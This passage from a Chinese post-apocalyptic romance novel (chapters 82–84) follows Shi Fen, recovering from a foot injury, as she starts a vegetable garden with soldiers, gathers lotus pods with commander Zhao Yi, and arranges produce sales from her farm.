说完他拎了拎自己手上的塑料袋:“秦丰早上做的手擀面。”
“哇。”时枌正想要怎么解决早饭呢。
赵弋看见她赤脚,“怎么不穿鞋?”
“拖鞋蹦起来会飞。”
“……”
算了,天气这么热,她不穿鞋也没什么。
赵弋不是个会做饭的人,一早上找秦丰拿面条的时候跟人家取了经,大概知道了面条该怎么做。
开冰箱,把冷冻的骨头汤敲碎,挖出大概一碗汤的分量,其余的先放回冷冻层,再开火,放汤,等汤好了,再下面条,加鸡蛋跟青菜。
秦丰熬汤是没放盐的,所以需要另外加盐调味。
教他的时候秦丰就在嘀咕阳县没有小葱。
厨房一片安静,时枌也洗完衣服晾好后过来围观。
赵弋挑起话题:“没葱。”
“是啊,没小葱。”时枌都闻到骨头汤的香味了,突然来了灵感,“你们这么多士兵闲着也是闲着,夏天还是可以种一些菜的,不如我拿一些葱头大蒜之类的,还有青菜种子,这会儿可以先种起来,蔬菜解决了,肉你们可以找罗辉换小牛小羊,或者自己上山去打野味,蚊子腿也是肉嘛。”
“嗯。”赵弋知道她闲不住,“吃完饭下去玩?你带两个人去农场拿种子。”
“你不去啊?”之前都是她去哪他就去哪,现在竟然不黏着她,时枌下意识就问了出来。
“我得开会。”面条出锅,时枌想要自己端,赵弋没让,“烫。”
帮她放到桌上,让她自己抽双筷子,“你人都到我家了,我有什么不放心的,反正去拿个东西就回来。”
“……”
他这话奇奇怪怪的,时枌都不知道怎么接。
干脆坐下来吃面条。
发现只有一碗,时枌抬头看他:“你不吃吗?”
“喝过营养液了。”
时枌露出嫌弃的表情,她这辈子都无法适应营养液了。
“你不是说我好养么,”他笑道,“万一变矫情了,怕你会不喜欢。”
“……”
这话更不好接了。
一个晚上过去,赵队怎么话这么多?
“基地外,就是停车的地方有一块地,把树砍了,土地整一整,可以作为我们自己的菜园,”赵弋靠在椅子上,目光始终在她身上,“你要是喜欢,可以带人去开地。”
时枌:“我?你确定我叫得动那群兵?”
“嗯,你可以的。”
昨晚上她展示了一手好刀工,留下大半头野猪被秦丰做成包子饺子,整个基地都弥漫着肉香,基地内的士兵们都吃到了,给好几个士兵都吃哭了。
虎子跟大熊昨晚也饱餐一顿,干脆睡在了基地。
大家都知道那头野猪是时枌的。
第82章 第82章我是你的人,我当然要服……
吃完早饭时枌就带着钥匙下楼去了。
那么问题来了,她还是一条裙子,没口袋的裙子。
时枌又把钥匙交给了赵弋。
“一会儿我问问叶枝蔚有没有小包,借个小包装钥匙。”她说。
赵弋收了钥匙,强忍笑意,“行。”
下楼她单腿蹦比较危险,赵弋帮忙抱下去。
时枌都习惯了,自己拿着拐杖,到楼下被放下来就换上拐杖,一边嘀咕:“我脚一晚上就消肿了,是不是说明恢复很快?”
“不放心的话顺便去基地问问
医生。”
阳县基地里是有军医的,有位老中医坐镇,只是设备不全赵弋才会带她去保护区看脚。
“行。”
下楼之后时枌依旧拄着拐杖健步如飞。
其实家属区到基地还是有点距离的,赵弋这套房子位置又比较偏僻,光是走出去就要蹦好久,又是大夏天,这个点太阳都出来了,时枌晒了两步路就不想走了。
站在原地深吸一口气,然后长长地吐出来。
赵弋停下脚步,看向她,明知故问地“嗯?”了一声。
时枌大大方方:“我走的有点累,但是出去人又太多,我不想被人议论,你想个办法吧。”
直接把问题抛给了他。
赵弋被她的坦白着实震惊了几秒,反应过来后想到了解决办法。
“军医那边应该有轮椅,帮你借用一辆,这样平时走路有人推或者你自己推?”
时枌眼睛一亮,“好!”
“这段路人少,我背你到门口,你再自己下去走两步?”
时枌已经蹦到他面前的,催促他转身蹲下。
她就一条腿了,可不能再出事故。
为了她的腿好,就只能劳动赵队多帮帮忙了。
时枌趴在人肩上跟他闲聊,“你在阳县很清闲啊?一早上还能过来。”
赵弋:“不闲,只是你一个人在这边,我至少要尽地主之谊。”
“你这样说显得你们在我农场的时候我很不负责一样。”
“啧,”真是牛头不对马嘴,“你是故意气我,还是真的这么想?”
时枌扒着人家脖子往上蛄蛹了一下,“你为什么觉得我在气你,我是在很坦诚地跟你聊天啊。”
懂了,这就是她的本质。
她往上爬了点,说话时又低着头,几乎靠着他颈侧,赵弋扭头贴了上去,鼻尖都差点撞到。
“我是你的人,我当然要服侍好你,这个听得懂吗?”
时枌不太自然地缩了回去,觉得自己刚刚跟人贴着的脸颊有点发烫,“哦,我听懂了。”
她就安静了。
到了门口把她放下,带着她直接到了军医这边。
老中医正在医务室跟另一个医生聊天,看见他俩进来老人家一下子就绷紧了神经,如临大敌。
“她石膏好像有点松。”赵弋把人扶到椅子边坐下。
时分很配合地翘起腿。
赵弋把她裙子压了下去。
再抿到她腿边整理好。
“昨天打的石膏,今天就松了。”时枌说。
老中医看了看,“哦,没事,就是消肿了,正常的,这石膏打得挺好。还是年轻啊,恢复快”
“哦,顺便想借辆轮椅。”时枌朝人开朗一笑,“您要不要什么吃的?我农场有甜瓜西瓜黄瓜瓠子……反正都有。”
老中医:“……你是昨晚上送野猪的那个?”
“昂。”
“那不用了,你随便用。”他昨晚还吃了四个肉包,听说今天还有绿豆汤,跟着野猪一起送来的。
就这样顺利借到了轮椅,时枌还是割舍不下那双陪伴了自己一整天的拐杖,有了轮椅还带着,赵弋推她出去的时候她就把拐杖放自己腿上。
“还是轮椅好啊。”
终于不用蹦了。
她舒舒服服靠着轮椅,等到了基地,虎子跟大熊看见她就跑了过来跟在主人身边,轮椅交给叶枝蔚,赵弋被叫去开会了。
“在这边住的还习惯吧?”
叶枝蔚推着她去看停车场的那块地。
“还行啊,有风扇,比我那边凉快呢。”时枌已经看见地了,“诶,你今天不上班吗?”
“今天晚班,有时间陪你。”叶枝蔚说,“秦丰昨天剩了点肉,中午给你开小灶,肉丝炒面行么?”
“我不挑食~其实我喝营养液也行的。”
到了地方时枌就自动拄拐站起来了,看着荒草丛生的地摇头晃脑,又去蹲下身扒拉地上的烂叶子。
“多好的腐殖土啊,啧啧,至少三年不用施肥了。”
“这堵墙也挺好,正好可以方便拉遮阳网,夏天也能种点青菜。”
“啧,树挺碍事的,你们这里还有挖掘机吧?能搞一台来挖树吗?”
叶枝蔚陪着她逛,“这个不清楚,要调用设备的话得找南区那边的人借,赵队说话可能好使,就是有点麻烦……”
“为什么麻烦?这里不是赵弋管的吗?”
她去医务室看见人家医生都对赵弋毕恭毕敬的。
叶枝蔚笑了起来,“确实是归赵队管,但是矿山那边主要是南区的部队,他们只是临时驻扎在这边的,主管的挖矿运矿,听保护区南区司令的指挥。”
“哦~他们有自己的老板,不听赵弋的话。”时枌懂了。
“差不多是这个意思。”
“那赵弋没意见?”
在自己地盘上养别人的兵,啧,多膈应啊。
叶枝蔚平时不考虑这些,耸耸肩,“可能有意见吧。”
时枌也没多想,勘察完地,大概确定了地方,拍拍手上的灰,“那……我得去招揽人手了。”
种地的事赵弋说了直接让他找秦丰,秦丰现在也是个连长了,算个官,手底下有一百多个人呢。
热衷做饭的秦副队当然乐意种地,召来自己手底下三个排长,问他们谁愿意学种菜。
其中一个看上去比秦丰年纪大的排长第一时间举了手,表示他愿意带人帮忙。
秦丰直接就定下了,“行,老刘你就跟着时枌干,哦对,还得去一趟农场拿种子,借车是吧?东西多不多?要带几个人?”
时枌:“不用,种子暂时不着急,今天咱们先把地开出来。”
老刘手底下三十多号人,其中一小部分在巡查,其余在休息的人都被叫过来了,差不多有二十人。
时枌给他们分发了农具,一人一把铁锹,拄着拐杖去拿石灰画地,一群人在基地旁边就开始干活。
清理杂草、砍树、翻地、用砍下来的木料做围栏。
干得热火朝天。
时枌顶着草帽拄着拐杖在地里指导。
毕竟这些兵没有种地的经验,平时不是在训练就是在打打杀杀,铁锹锄头都不太会使,时枌看见那种踉踉跄跄的就蹦过去指导。
她一个瘸腿的,一锄头下去都能斩断半棵树,给士兵狠狠上了堂课。
虎子跟大熊跟着在地里刨土,给自己热够呛,最后懒得动弹就躲在阴凉处趴着睡觉。
“重要是会使力气,铁锹角度不要直上直下,要有坡度,收铁锹的时候往后一抖,对,就这样,就会带出更多的土……”
为了犒劳这些士兵,时枌让秦丰帮忙用她带来的食材做了顿饭,中午大家伙就是在食堂吃的。
二十几口人她还是养的起的,坐两桌,就是没什么荤菜,时枌觉得挺丢人,拄着拐站起来对大家说:“下次我回农场给你们弄只羊,今天大家先将就将就。”
“卧槽,还有羊?”
“不如把老刘换了吧,我觉得时枌挺好的。”
“支持,把老刘换了。”
“时枌是赵队带过来的吧,是他们队里的成员,你们想多了。”
“赵指挥带的人?啧啧,难怪,昨天的肉包子是真香啊……”
食堂热热闹闹的,吃完饭大家接着干。
时枌也被大家劝到一边坐上轮椅。
眼看着这群兵已经能自己干活,时枌也就不下地指导了,坐在旁边监工,没一会儿,就看见一条车队靠近基地。
秦丰出来招呼人迎接。
看着从车上下来的锅碗瓢盆还有一袋袋的粮食,时枌想起赵弋说的,这应该就是他们基地的食堂队伍了。
她可要跟这些人打好关系啊。
但她一个都不认识,而且人家忙着收拾食堂,想必也没时间跟她闲聊,时枌考虑到自己的脚,也就不上去凑热闹了。
车队就停在他们干活的菜园旁边,车厢已经卸空了。
时枌手表弹出一条消息。
来这边后有电,她的手表终于不是待机模式,充好电,功能也更多,她随时都能跟其他人聊天。
赵弋:会开完了,阳县有片池塘长满了荷花,要不要去看看?
时枌打字回复:不去,我在监工。
赵弋:收工再去看?听说有莲子。
跟时枌说什么荷花她可能有点心动,但是一说到莲子这种可以吃的,那她可就坐不住了。
时枌啪啪打字:收工就去。
赵弋:好,到时候我去接你。
时枌带来的食材不够请这些士兵吃第二顿,所以下午收工的饭时枌就专门借用食堂厨房
熬了一大锅浓浓的绿豆汤给大家消暑。
开了一整天会屁股都坐麻了的赵弋终于能从办公室解放出来,下楼时看见窗户外整齐的菜地,停留欣赏了一会儿,心想不愧是时枌的作品。
整齐,好看。
下楼拿了车钥匙在食堂门口接人,他到的时候时枌正在门口跟几个士兵聊天,脚边还趴着虎子跟大熊,一看见赵弋过来,那几个人就自动闭了嘴,敬礼。
坐轮椅上的时枌:“我也得敬礼吗?”
赵弋拉过轮椅,对其他几人说:“我找她有事,明天再聊。”
“行行行,赵指挥您忙~”
时枌摸摸两只狗狗头,叮嘱它们在这边玩。
轮椅推到车前,时枌发现自己忘记带拐杖了,“离池塘远吗?”
“有点远。”
“那得在天黑之前去了。”
拐杖就算了,反正有车,她蹦过去也行。
莲子啊,她好多年没吃过了,这个季节也正是莲子成熟的时候。
想到这,时枌迫不及待上了车。
第83章 第83章我能给你什么?
目前他们迁移居民还有军队驻扎的地方大多集中在城镇的居民区,稍稍往基地方向扩张了一点,但是对于阳县周边的郊区田地就没多染指。
赵弋带她来的就是一片田地。
因为长期无人耕种已经长满了杂草,被盛夏的阳光晒了一整天都蔫吧了,仔细一看周围还有不少茼蒿豌豆长在田埂上,至于那片荷花,其实不算是池塘,是一片水田,大概原本这片水田是被承包专门养荷花收莲子的,所以只有这一亩水田长了荷花,而且因为多年来无人打扰,荷叶长得格外茂盛,整个水田就像是一个巨大的花瓶,被盛开的荷花荷叶撑得满满当当。
盛夏的热风裹挟着荷叶荷花的清香,拂面而来,让人感受到一丝丝凉意。
“这么多莲子都没人摘?他们是瞎了吗?!”时枌刚下车看见这一幕眼睛都瞪大了,“这么好的田地没人种水稻?上边就是水库,水路挖这么顺,浇水直接开闸,还不用自己挑水,我去,这附近豌豆长疯了?这一片水田荷花要是分一分还能种三亩地,底下藕都长满了吧!”
赵弋怕她太激动,下车后就扶着她,这边田地路面不平整,她单腿蹦太危险,看的他心惊胆战。
“抱你去看看?”他低声询问。
时枌迫不及待扑他怀里,自己已经搂上脖子了,“赶紧,趁其他人还没来,天还没黑,我们先把周边的莲蓬给摘了!”
身体腾空,赵弋掂量一下,“怎么轻了?”
时枌不明所以:“有吗?我怎么可能一天就轻了?”
“哦,没带拐杖。”
抱她一个人轻轻松松的赵队两三步就到了田埂上,茂盛的荷叶触手可及。
“我要一个荷叶帽子!”时枌伸手一指。
“这个?”他挑了个最大最满毫无破损的。
“就这个!”
赵弋伸手就勾了过来,轻松折断叶柄,交给了她。
这片荷叶品相极佳,巨大无比,不是那种规整的正圆形,而是偏宽的椭圆,叶边还有着荷叶特有的波浪,时枌小心翼翼拿在怀里,生怕给它折损了。
“放我下来,你去摘莲蓬,趁着现在天还没黑。”时枌在他身上扑腾,赵弋无奈把她放下来,顺手拿那片荷叶盖在了她脑袋上。
虽然已经是黄昏,但太阳依旧晒,下车短暂几分钟她脸就被晒红了。
“摘的莲蓬用荷叶装起来,方便带走!”时枌提醒他。
“你在这附近摘,别乱跑。”赵弋叮嘱她两句,就戴着荷叶帽子去干活。
他是个听话又能干活的赘婿。
时枌顾忌着自己的腿,不敢乱蹦,就在原地摘莲蓬,发现手够不到,灵机一动去折了根长树枝,带枝桠的那种,把莲蓬就这么勾过来到触手可及的范围伸手一摘。
她摘莲蓬速度比较慢,赵弋就很快了。
他们今天目标明确,只摘田埂周围容易摘得到的莲蓬,里面的得划船进去才能摘得到,今天装备不全,就不废那个劲了。
直到天彻底黑下来,没了光亮,赵弋拿着手电筒又摘了一会儿,时枌帮忙把荷叶里的莲蓬裹好放到车后备箱,塞了满车才回去。
上车时,赵弋又折回去,等他回来时手里已经摘了一片小荷叶还有几朵荷花,有花苞也有绽放的,漂亮的粉色晕染,内里是被花蕊裹着的金色的小莲蓬,可可爱爱,一小束,还有淡淡的荷花香。
时枌笑着接过,“谢谢,我很喜欢。”
虽说她是个务实的人,喜欢成熟的果实,但面对鲜花依旧会心生欢喜,所以她的农场也不只是种了菜,还会养一些花,这样心情也会更好。
“家里有花瓶,回去能插一段时间。”赵弋坐上驾驶座。
他从前觉得,雄性想尽千方百计求偶这件事十分可笑,毕竟一个人的心不是因为你做了一些事就能得到的,心在你那就是在你那,喜欢这件事,无法靠努力来争取。
所以对于送花这种行为,尤其是在末世这种环境下,就显得格外,不知所谓。
但看见满池荷花的时候,他想的却是最俗气的事:送给她。
看见她说喜欢,他就会心生欢喜。
赵弋第一次发现原来自己是秦丰那种“奉献性人格”。
“回去我挑一挑,嫩的可以现吃,老的就剥皮晒一晒,留下莲子,以后能煮汤喝。”时枌已经估摸着怎么处理这一批莲蓬了。
“直接回家还是?”
“去基地吧,跟他们分享一下嘛。”
时枌是个大方的人。
赵弋按她说的把车开到了基地。
这个时间基地里除了派出去巡逻的人这会儿也不会训练了,要么回去休息,要么在楼下训练用的空地坐着闲聊解闷,反正在阳县也没其他娱乐项目,连个小酒馆也没有,基地又严禁赌博闹事,着实给他们憋坏了。
时枌带着一车莲蓬到了基地,远远的就看见了糯糯,时枌扒着车窗跟糯糯打招呼,停车后立马拉开车门下了车,糯糯已经冲了过来,扑到她怀里。
“时枌姐姐!”糯糯脆生生地叫她。
“哇,你现在说话好清楚!糯糯真厉害!”
“我每天都在练习!”糯糯仰头看着她,依恋地蹭了蹭她胸口,“我昨天就喝到你的绿豆汤了,但是太晚了,白芳说你睡觉了,你的脚疼不疼啊?”
“不疼,我带了莲蓬回来,来,我给你挑一个嫩的。”
正好赵弋下车,后备箱开了,时枌从一堆莲蓬中准确无误拿了个嫩的交给糯糯。
“我以前吃过!”糯糯小手抱着莲蓬一脸惊喜。
她是在阳县长大的,估计以前也吃过那片田里的莲蓬,非常熟练地剥莲子,再放到嘴里咬下一半,牙齿轻轻
一挤就迟到了鲜甜的莲子,绿色的壳也吐了出来,跟嗑瓜子一样。
叶枝蔚巡查去了,骨头跟张照照今天都在,跟白芳一起围了过来,没一会儿秦丰也来了。
大家也不讲究,坐在台阶上闲聊。
偶尔会加入几个他们认识的士兵,大家一起吃莲子。
时枌身边坐着赵弋,她挑嫩的给他,然后帮她剥莲子,太老的她都会丢到一个大荷叶里,骨头不信邪去拿了个剥了吃,给他苦得直吐舌头。
闲聊得知,白芳会一点点中医,正在跟医务室的老中医学习,平时就负责基地内士兵的一些理疗,比如拔火罐刮痧之类的,糯糯是她的副手,也跟着白芳学习,因为每天要跟病人交流,糯糯说话也越来越顺了。
只是在阳县生活条件没有在时枌的农场那么好,糯糯也只是喝营养液,看着瘦了不少,给时枌心疼坏了。
“那片池塘我知道在哪,明天有空的话我们可以去把莲蓬都摘回来,也能尝个鲜,阳县后面坟山上还有不少枣树,过段时间就成熟了,也能去摘枣子吃。”白芳是阳县人,对这边也比较熟悉,在基地里接触的人多了,性格也比较开朗,跟大家都合得来。
“行啊,明天我不值班的话就叫我,我好多年没吃上新鲜莲蓬了。”
“对了时枌,明天是不是要播种了啊?地我们都开好了,我们就等着吃上菜呢!”
“明天需要两个人跟我回一趟农场……”时枌话还没说完就有好几个熟悉的士兵举手。
老刘也在其中,“你们凑什么热闹?不巡查了?周围情况摸清楚了吗?嘿嘿,时枌,我清闲,我还会开车!”
献殷勤的老刘猝不及防对上时枌身边赵弋抬眼看来的视线。
老刘后背一阵发凉。
然后就看见赵队把手里剥好皮,白白嫩嫩的莲子喂到了时枌嘴边,食指轻轻一摁,跟喂药似的,就进去了。
现场一阵死寂。
时枌狠狠瞪了他一眼,低声训他:“老老实实剥莲子!”
大家离得这么近,再小声能多小声啊,还是能听见的,大家又不是聋子。
一片沉寂之时,白芳刚想挑个话题活络气氛,赵弋的副官就走了过来,一脸严肃朝人敬礼。
“赵指挥,刚刚七号小队巡查发现异常。”
赵弋拍拍自己身上的莲子壳,面色如常起身,“让他们小队队长来我办公室汇报情况,另外,把秦丰跟张克叫过来。”
张克?时枌觉得这个名字有点耳熟。
看她一脸好奇,赵弋低头,“你也一起来?”
相比之前命令式的陈述句,对她就是语气温和的疑问句,双标的很明显。
白芳都狠狠沉默了。
其余人就当自己是个聋子什么都听不见,毕竟大家都不敢当面议论领导八卦。
“啊?需要我去吗?”时枌看了看自己满地莲蓬,“我不去了,你自己忙吧,我跟他们玩。”
赵弋:“……”
其他人:“……”
要不姑奶奶你还是去一趟吧?啊?
赵弋语气平静,“那你们慢慢聊,我一会儿下来接你回家。”
时枌朝他比了个OK的手势。
赵弋就被打发走了,大家也松了口气,恢复了之前的生机,继续吃莲子瞎聊,甚至在赵弋走后,又有一批人过来凑热闹,加入聊天队伍。
时枌也终于发现,原来基地内部也有这么多八卦。
尤其是在迁移到阳县之后,大家都默认从此不会再回保护区了,所以对保护区那群领导的八卦那叫一个知无不言言无不尽,听得时枌聚精会神莲子都不吃了。
毕竟她也见过那几个领导,虽然不太熟。
但是八卦这种东西,对她一个独居的小女孩来说,是多大的诱惑啊。
这晚时枌吃的很饱。
直到赵弋开完会过来带她回家。
一车莲蓬被这群人吃的七七八八,时枌也只剩下了自己的一小盆莲子,打算带回去放冰箱明天接着吃,赵弋跟来幼儿园接小孩似的把她接走。
准确来说是推走。
时枌坐在轮椅上呢。
“虎子大熊暂时安排在食堂了,家里没那么大的活动空间,食堂够大,明天开始营业之后还会有一些剩饭剩菜,能让它们吃饱。”
赵弋帮她把狗都安排好了。
这栋楼住户都是熟人,也没几个人,轮椅就暂时放在楼下,楼梯还是赵弋把她抱上去的,到门口时枌坚持要下来,再让他掏钥匙。
赵弋迎着她审视的目光,知道她反应过来了,他没半点被戳穿的羞耻,反而捏着钥匙跟她对视。
“今天巡查发现一支可疑小队,很可能是之前交过手的野狼队伍。”
果然时枌就被转移了注意力。
“是那个上次让你们小队伤一死一的队伍?”
“嗯。”赵弋点头,低头看着自己手上摩挲的钥匙,“这群人不好对付,在保护区内评级是S级,普通小队应付不了,所以我打算带着秦丰他们一起出去一趟,顺便,把阳县周围清理一遍。”
“圈领地最好的方式就是,除掉所有可能的隐患。”
让这片土地彻底干净,让每一个贸然闯入的人都因这份干净而感到恐惧。
时枌看看自己的腿,可惜道:“如果我没受伤的话就能跟你们一起去了。”
这脚伤的可真不是个时候。
“这是一个长期任务,并不是我们这一次出去就能解决的,外边的隐患也不会只有野狼这一支队伍。”
“之后阳县也会有类似保护区的任务发布部门,除了巡查,这些小队也需要出任务。”
只是阳县内的这些士兵大多都是新兵或者没接触过危险人物的兵,没有保护区那些专门的探险小队那么有经验,还需要他好好调/教。
赵弋将钥匙放到她手里,捏着人手心。
钥匙被他的体温捂久了,带着不同于她的温度,莫名发烫,还有像是黏在手心的手指,带着细密的茧子,有点麻。
“放心,有你出任务的那天。”他说。
时枌抬头对上他的眼睛,隐约明白了他这会儿为什么不太对劲。
“是不是很危险?”
“嗯。”
时枌眨眨眼,他似乎是需要什么,但时枌不太懂应该如何给他。
对视半晌,她身体往前,想把他看得更清楚一些,但那双黑沉沉的眼睛里充满着她陌生的情绪。
“我能帮你什么?”她不明白,只能开口问。“你告诉我吧,我能给你什么?”
他帮她做了很多事,这个时候时枌忽然发现,自己似乎从未给过他什么。
怪可怜的。
赵弋目光扫过她的眉眼,鼻尖,再到嘴唇。
喉结一滚。
这种时候开口似乎有点不要脸。
算了,他不要脸也不是一次两次了。
“亲我一下?”还是疑问句。
像是放低姿态小心翼翼地试探着提出的要求。
亲一下?
时枌对亲吻唯一的记忆要追溯到小时候,她很小很小的时候。
她长得太漂亮了,村里人都说长得漂亮的小孩活不长,爷爷奶奶每次一听见这种话就会生气,会跟人对骂,然后抱着她捂着她的耳朵,亲亲她的额头,对她说:我的小时枌会长命百岁。
时枌看着面前的赵弋,她也是希望赵弋能长命百岁的。
“你低一下头。”
赵弋配合地低下头,视线自然的向下,落到她的裙摆。
时枌踮起脚,单脚站立还是不太稳,她伸手扶着人肩膀,很是郑重地在他额头上落下一吻。
赵弋觉得自己的心脏似乎停了一瞬。
他没想过会是这种,再次抬眼,就对上一双诚挚的眼眸。
“你会平安的。”
这话显得刚刚那个亲吻更加……神圣了。
赵弋失笑,刚刚被她放开的手捏了捏她脸颊,豆腐似的,嘴角被他牵扯出一个滑稽的角度。
在她生气之前,又得寸进尺地提了一个要求。
“等我回来,再亲一下吧。”
时枌勉为其难地答应了。
第84章 第84章两个残疾人。
明天要带队出任务,赵弋
今天不太方便睡办公室,就在客厅把沙发拉开,铺了床,反正是夏天,给他一条毯子就够了。
时枌自己洗了澡,忙活一天累的直打哈欠,进屋就开睡。
第二天等她醒来,客厅沙发已经收拾好,毯子整齐叠放在边上,餐桌上的透明玻璃花瓶灌了半瓶水,插着昨晚他又下楼从车里拿上来的荷花,还有一片鲜嫩的小荷叶做点缀。
经过一晚,原本半开的荷花已经全开,桌上落下了一片长勺似的粉白的花瓣还有四散的花蕊。
时枌蹦过去凑近闻了闻,还有淡淡的香味。
花瓣花蕊掉落还挺好看,时枌就没有清理。
再看看墙上的挂钟,已经将近十点了。
难怪赵弋都走了。
手表上有他发来的消息。
赵弋:食堂定了餐,一天三顿。如果要去农场提前找张克,让他帮忙联系食堂的负责人,他们会去你的农场收蔬菜,还有罗辉一家的登记,张克也会负责。
给他把事情都安排好了。
以往都是时枌给别人安排工作,突然自己变成了被安排的那一个,感觉有点奇妙。
洗漱完,收拾好自己,她带着拐杖蹦下楼,轮椅就在一楼楼梯下,果然没人拿,时枌坐上去自己研究了下就能转动轮子自己走。
就是很费力气。
反正她现在的情况要么废胳膊要么废好腿,也没办法。
吭哧啃哧滚到食堂门口,再换上拐杖进去吃饭。
以防万一,她还带上了手表方便付款。
不过食堂大爷一看见她坐着个轮椅来了,就问她是不是时枌,时枌点头,又用手表验明身份。
“你想吃啥?赵队给你安排好了,随便点菜吧。”
“不要刷积分吗?”
“赵队充了钱,到时候多退少补。”
时枌明白了。
“不过赵队说你每天都要一碗骨头汤,这会儿也没菜了,骨头汤面条行么?”
时枌不挑食,“行。”
舒舒服服一碗骨头汤下肚,时枌又去食堂后边看了虎子大熊,它俩正抱着骨头磨牙,偶尔去后厨处理垃圾的食堂员工会跟它们玩一会儿,看着挺自在。
虎子跟大熊都是猎犬,从小就进行狩猎训练,对人类还是挺友好的,只有在时枌发出指令的时候才会配合对人类发起攻击,大部分时间都是温顺的好狗狗。
他们基地也没有别的狗,虎子跟大熊就成了稀罕物,走到哪都有人跟它们一起玩,听食堂大爷说偶尔医务室的小姑娘还会来给虎子大熊喂吃的。
“那是我的朋友,叫糯糯。”时枌说。
时枌跟谁都能聊两句,这会儿跟食堂大爷聊起水稻种植竟然还聊了挺长时间,直到食堂师傅开始做午饭才结束,时枌不想打扰大爷上班,就跟跟大爷告别,她把轮椅暂时留在食堂,拄着拐杖去了办公楼。
办公楼离食堂并不远,大家都手里拿着文件步履匆匆,时枌抓了个看起来不是很忙的,人家本来很不耐烦,看见她打石膏的脚一下就变得和善起来。
“您有什么事?”那人问她。
“我找张克。”
“哦,张科长?在二楼,任务交接室。”
“谢谢。”
“不客气。”
时枌直接上了楼梯,慢吞吞蹦上二楼,在长长的走廊一步一仰头,终于找到了任务交接室,礼貌地敲门。
“请进。”
时枌推门就进去了。
然后就看见熟人,低头,是张克空荡荡的裤管。
张克也看见了她的脚。
他俩一个伤的是右脚一个伤的是左脚。
场面一时间有种很巧的尴尬。
时枌抬眼看着他:“你放心,我只是崴脚了,不至于截肢。”
张克嘴角抽搐,鼻孔出气哼了一声,还翻了个白眼。
“赵弋跟我说来找你……”
时枌话还没说完就被打断。
“知道了,带人去农场,做户口登记,走吧,跟我去申请外勤车辆。”
他虽然没了右边半截腿,但却能正常走路,像是腿下有什么支撑一样,除了走路时姿势有点奇怪似乎也没什么不便,还是能正常行走的。
这会儿他就已经整理好了衣服走到了门口。
发觉她一脸惊讶看着自己的腿,张克冷着脸揪起裤腿给她看,“这是假肢。”
“哇,还能这样。”时枌狠狠长了见识。
看她这副没见识的样子张克也懒得说什么,带着她下楼。
两人去申请了车辆,再去拿东西,工作人员问时枌“那一家有几口人?”
时枌:“四口。”
“几个大人几个小孩?未满十六岁只需要做登记,没有自己的个人账户。”
“两个大人两个小孩,小孩一个十二岁一个才六七岁的样子。”
于是就申请了两只手表。
然后去食堂,食堂负责人,也就是之前时枌聊天的那个老大爷,叫了食堂里的几个小伙子,顺便捎上帮忙搬种子的两个士兵,他们会开一辆小货车过去,老大爷也亲自去一趟看看蔬菜品质。
时枌跟张克一辆车。
他伤右腿,她伤左脚。
两个残疾人。
张克看了她一眼,“愣着干什么?难道让我开车?”
按照驾驶习惯,右脚就足够,他语气太冲,时枌皱起眉毛,一点不惯着他。
“左脚怎么不能开车?你不会腿废了人也废了吧?”她便要杠。
张克被气的差点吐血。
左脚当然不能开车,那身体不是扭成麻花了?
等上了车,他坐在副驾驶气的跟个河豚一样,时枌把自己拐杖安置在后座,才小心爬了进来。
“磨磨蹭蹭!”张克又暴躁了。
“我要好好养伤,可不想跟某人一样。”时枌轻飘飘一句,给他怼得气笑了。
时枌不搭理他,自顾自发动车子,跟上食堂大爷的货车,往农场开去。
食堂的货车速度较慢,开了将近一小时才到达农场,远远看见时枌农场的规模,张克就惊呆了。
时枌拐弯时扭头看见他这副没见过世面的样子骄傲地扬了扬下巴。
到达农场,时枌发现大花趴在自家门口,看见她懒洋洋抬起了头,精神似乎不太好。
平时大花都是喜欢去罗辉的农场跟其他牛玩的,大夏天的,也不会随随便便来前院,毕竟这地方空旷,太晒了,夏天大花更喜欢泡在水里。
时枌拄拐健步如飞到大花跟前,大花似乎精神就好了不少,抬头触碰她伸出来的手。
时枌知道了,大花是在担心她。
“没事啦,我出门一趟而已,你就当我上山去了,跟其他牛玩呗,不要有心理负担。”
看见她跟牛说话的张克:“……”
食堂的人也来了,还有两个老刘派来搬运种子的士兵,这俩归时枌安排,收菜这事归食堂安排。
老头看了看她的菜园,主动开口,“这次采摘是由我们来,也是一部分人工费,就从收菜的费用里面划扣,这你没意见吧?”
“具体的价目表我得根据你的蔬菜品质来拉单子,不过你放心,我们办事也是有规矩的,都是按照之前保护区的价格来。”
“好的,我这边没称,到时候运到阳县你们再称重量,计算价格。”时枌说。
毕竟是第一次交易,她可以大方一点,日后才能长久。
“那边的牛羊也是你的吗?”老头远远看过去。
“不是,是邻居的,一会儿张克会给他们家做登记。”
“哦。”老头若有所思。
兰城距离阳县到底是有一段距离,况且他们已经迁移到阳县,不出意外就是在这地方养老了,从保护区基地食堂划过来的这些人大多都是他这样的孤寡老头子,再或是一些在兰城无亲无故的人,摆明了就是把阳县当个垃圾回收站,可以预见日后向兰城伸手要资源是要看人脸色的,再加上兰城资源紧缺,估计也不会给他们太好的东西。
如果能跟时枌打好关系,她的农场作为备用的蔬菜水果供应商,再跟她邻居商量好,牛羊也能有保障,说不定日后还能指导他们阳县的畜牧业发展……
老头朝时枌伸出手,“我姓王,王朝义。”
那双手带着岁月的斑驳痕迹,皱巴巴的像晒干的橘皮。
“您好。”
时枌微笑着伸出手握上。
“那麻烦时小姐帮忙引荐一下。”
“没问题。”
这就算是谈妥了。
“菜园里成熟的可以随便摘,我这一个月估计都会在阳县。”时枌说,“你们都是有经验的吧?”
言外之意别糟蹋她的菜园子。
“放心,我盯着。”王朝义说。
菜园子就算是安排妥了。
然后就是种子问题 。
时枌的种子其实大部分都存放在地窖,但地窖是她农场最重要的粮食储备地,她不可能轻易让这俩不认识的士兵进去,但她腿脚又不方便,于是只能让两士兵先等着,她找来罗辉帮忙。
相比陌生人,至少罗辉是更能信任的。
罗辉简单登记后,余袅带着烈烈跟阳阳再来登记,罗辉就帮忙搬运种子了。
罗辉负责把种子从地窖搬出来,时枌在地窖口接应,她东西摆放都很整齐,比较好找,很快就把种子找全了,等罗辉出来,再盖好地窖,才开门让两个士兵来帮忙搬。
种子其实不重,主要是玉米小麦水稻这些稍微重一点点。
时枌出来的时候,张克正在前院仰头顶着她那棵挂满果子的枇杷树发呆。
果子太多了,时枌都没注意到枇杷成熟,正好,趁着这个机会一起摘回去给叶枝蔚他们尝尝鲜。
看她拿食堂那边的袋子过来准备摘枇杷,张克犹犹豫豫叫住她。
“我刚刚对你态度不好,我给你道歉。”
他都给台阶了,时枌也不是小气的人,“哦,我刚刚拿你残疾说事也很不礼貌,对不起。”
张克的气彻底顺了。
